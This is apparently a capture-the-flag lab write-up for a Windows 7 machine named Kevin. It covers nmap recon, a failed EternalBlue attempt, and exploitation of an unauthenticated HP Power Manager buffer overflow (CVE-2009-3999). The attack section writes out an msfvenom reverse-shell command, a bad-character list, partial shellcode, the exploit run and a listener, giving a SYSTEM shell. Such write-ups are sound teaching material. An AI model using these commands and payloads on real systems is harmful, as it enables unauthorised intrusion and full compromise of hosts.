Kevin

TL;DR. Kevin is a Windows 7 box exposing an HP Power Manager over a GoAhead WebServer on port 80. SMB shows up as vulnerable to MS17-010 in the scanner, but the exploit finds no accessible named pipe and goes nowhere. The real path is the web panel: HP Power Manager 4.x carries a stack buffer overflow in formExportDataLogs (CVE-2009-3999) that fires without authentication. We craft alphanumeric shellcode with msfvenom, drop it into the exploit, and the callback lands straight as nt authority\system, because the service runs as that account.

Recon

Initial scan

A single-packet ping does two jobs: confirm the host is up and read the TTL.

ping -c 1 192.168.172.45

64 bytes from 192.168.172.45: icmp_seq=1 ttl=125 time=29.4 ms

TTL comes back as 125. Windows systems use an initial TTL of 128, and each routing hop decrements it by one: 125 points to Windows three hops away (a hint, not proof, since TTL can be forged). We run a full TCP scan at a good rate, then fingerprint versions on the open ports only.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.172.45

PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  tcpwrapped

nmap -p80,135,139,445,3389,3573,49152,49153,49154,49155,49158,49160 -sCV 192.168.172.45 -oN targetedScan

PORT      STATE SERVICE      VERSION
80/tcp    open  http         GoAhead WebServer
|_http-title: HP Power Manager
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Ultimate N 7600 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
| rdp-ntlm-info:
|   Target_Name: KEVIN
|_  Product_Version: 6.1.7600
49152-49160/tcp open  msrpc   Microsoft Windows RPC
| smb-os-discovery:
|   OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
|_  Computer name: kevin

The banner is plain: Windows 7 Ultimate N 7600 with no Service Pack, the machine is named kevin, and port 80 runs an HP Power Manager served by GoAhead. A Windows version this old and unpatched is, on its own, a headline.

SMB - TCP 445

The first thing a 2009-era Windows 7 suggests is MS17-010 (EternalBlue). The nmap script confirms it.

nmap -p445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 192.168.172.45

| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143

On paper it is a shortcut to SYSTEM. In practice, not always. We keep it as the first option and finish enumerating the rest, which is the right call: never bet everything on a single vector before you have the full picture.

HTTP - TCP 80

Port 80 presents the HP Power Manager login.

We try the classic admin/admin. The panel answers Invalid user name or password.

Default credentials do not get in, but the alarms console is reachable without authentication and confirms the product is alive and running. That is enough: with a product and its version in hand, the next step is not guessing passwords but checking whether that piece of software carries known flaws.

Shell as SYSTEM

EternalBlue: the dead end

Before touching the web, we exhaust the MS17-010 option. We build a binary with msfvenom and run an EternalBlue exploit inside a container (Python 2 + an old impacket, to dodge dependency issues).

python send_and_execute.py 192.168.172.45 ../ms17-010.exe

Trying to connect to 192.168.172.45:445
Target OS: Windows 7 Ultimate N 7600
Not found accessible named pipe
Done

The exploit recognises the target but gives up with Not found accessible named pipe. EternalBlue needs to open a named pipe over the SMB null session to plant its backdoor; if the IPC$ share does not expose a pipe usable anonymously, the attack never starts no matter how unpatched the host is. nmap flagging VULNERABLE means the OS is susceptible, not that this particular exploit will succeed on this install. That is the difference between a hint and proof: time to switch vectors.

HP Power Manager: finding an exploit

Back to port 80, we search by product.

searchsploit 'HP Power Manager'

HP Power Manager - 'formExportDataLogs' Remote Buffer Overflow (Meta | cgi/remote/18015.rb
Hewlett-Packard (HP) Power Manager Administration - Remote Buffer Ov | windows/remote/16785.rb
Hewlett-Packard (HP) Power Manager Administration Power Manager Admi | windows/remote/10099.py

There are two families of flaws in this product: an overflow in the login page (Administration) and another in formExportDataLogs. The latter is CVE-2009-3999: a stack buffer overflow in goform/formExportDataLogs triggered by an overly long fileName parameter and, crucially, requiring no authentication. That fits perfectly: we have the console reachable but no valid login.

CVE-2009-3999: formExportDataLogs BoF

Instead of the Metasploit module we use a ready-made Python version (repo, a fork of Muhammd's exploit). One caveat worth flagging: the file ships as CVE2009-2585_HP_Power_Manager_BoF.py, but that identifier is the author's mistake; the vulnerability it exploits (formExportDataLogs) is CVE-2009-3999.

git clone https://github.com/n4xh4ck5/CVE2009-2585_HP_Power_Manager_BoF

The exploit leaves a slot to paste our own shellcode. We generate it with msfvenom, honouring two constraints of the vulnerable field:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.239 LPORT=4444 EXITFUNC=thread \
  -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' \
  -e x86/alpha_mixed --platform windows -f python

Those two constraints are the heart of the payload:

• -e x86/alpha_mixed produces purely alphanumeric shellcode. The fileName ends up reflected inside an error message handled as a string, so ordinary shellcode would be wrecked by non-printable characters; an alphanumeric encoder sidesteps that handling.
• EXITFUNC=thread makes only the overflowed thread die on exit, not the whole service process. HP Power Manager stays up and the shell does not fall with it.

The bad-char list (-b) excludes the bytes that break the overflow (the null \x00, the line feed \x0a, the carriage return \x0d and several symbols the server interprets). We paste the resulting buf into the exploit, behind the b33fb33f egg.

It's worth opening the black box, because it's exactly what the machine's #buffer-overflow tag promises. A stack buffer overflow works like this: the fileName we send is longer than the buffer reserved on the stack and, on overflowing, it overwrites the saved return address; when the function returns, the CPU jumps to whatever address we placed there and runs our shellcode. The exploit already ships the exact offset up to that return address and the jump worked out, so we only supply shellcode that respects the field's constraints. The b33fb33f is the egg: a recognizable marker flagging where the shellcode starts; in this family of overflows, when the contiguous controlled space is small, it's paired with an egghunter (a short stub that scans the process memory for that b33fb33f pattern and, once found, jumps to the code right behind it), which lets the larger shellcode live in another region of the service's own memory.

GNU nano 8.7            CVE2009-2585_HP_Power_Manager_BoF.py

PORT = 80

#msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.120 LPORT=443 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python

        egg="b33fb33f"
        buf= egg
        #Change the below payload with your data (LHOST)
        buf += b"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
        buf += b"\x81\x76\x0e\x96\x95\x85\xb9\x83\xee\xfc\xe2\xf4"

We set a listener on 4444 with penelope, a netcat-style shell handler (a plain nc with rlwrap works just as well):

penelope 4444

then fire the exploit at the target.

python2 CVE2009-2585_HP_Power_Manager_BoF.py 192.168.172.45

[+] Payload Fired ... She will be back in less than a min ...
[+] Give me 30 Sec!

Less than a minute later the callback comes in. And it comes in straight as nt authority\system: the HP Power Manager service runs as the SYSTEM account, so the code we injected inherits that context. There is no escalation to do, the overflow already drops us at the top.

proof.txt

With the SYSTEM shell, we read the proof and check the IP and hostname along the way.

type C:\Users\Administrator\desktop\proof.txt && ipconfig && hostname && whoami

3bba4e17a6cfabf703c0525297e636fc
...
   IPv4 Address. . . . . . . . . . . : 192.168.172.45
kevin
nt authority\system

3bba4e17a6cfabf703c0525297e636fc

Attack chain

nmap  ──>  80/tcp: HP Power Manager (GoAhead)  ──>  CVE-2009-3999 (formExportDataLogs BoF)
                                                            │  alphanumeric shellcode (alpha_mixed)
                                                            v
                                              reverse shell as nt authority\system
                                                            │
                                                            v
                                                        proof.txt

  [ discarded path ]  445/tcp: MS17-010 "VULNERABLE" in nmap, but no accessible named pipe

Lessons learned

• A scanner saying VULNERABLE does not guarantee the exploit works. MS17-010 was flagged and yet EternalBlue found no accessible named pipe. Tell the hint (OS susceptible) from the proof (exploit run successfully), and don't bet everything on one vector.
• Old management software exposed to the network is a prime target. HP Power Manager 4.x carries a 2009 overflow exploitable without credentials; identifying the product and its version beats any password fuzzing.
• The service context decides the loot. The vulnerable process ran as SYSTEM, so a single overflow hands over the highest privilege with no intermediate steps. Running services under least-privilege accounts would have limited the blast radius.
• The payload is shaped by the bug's context. The field was reflected as a string inside an error message, hence the alphanumeric shellcode (alpha_mixed) and EXITFUNC=thread to avoid tearing down the service.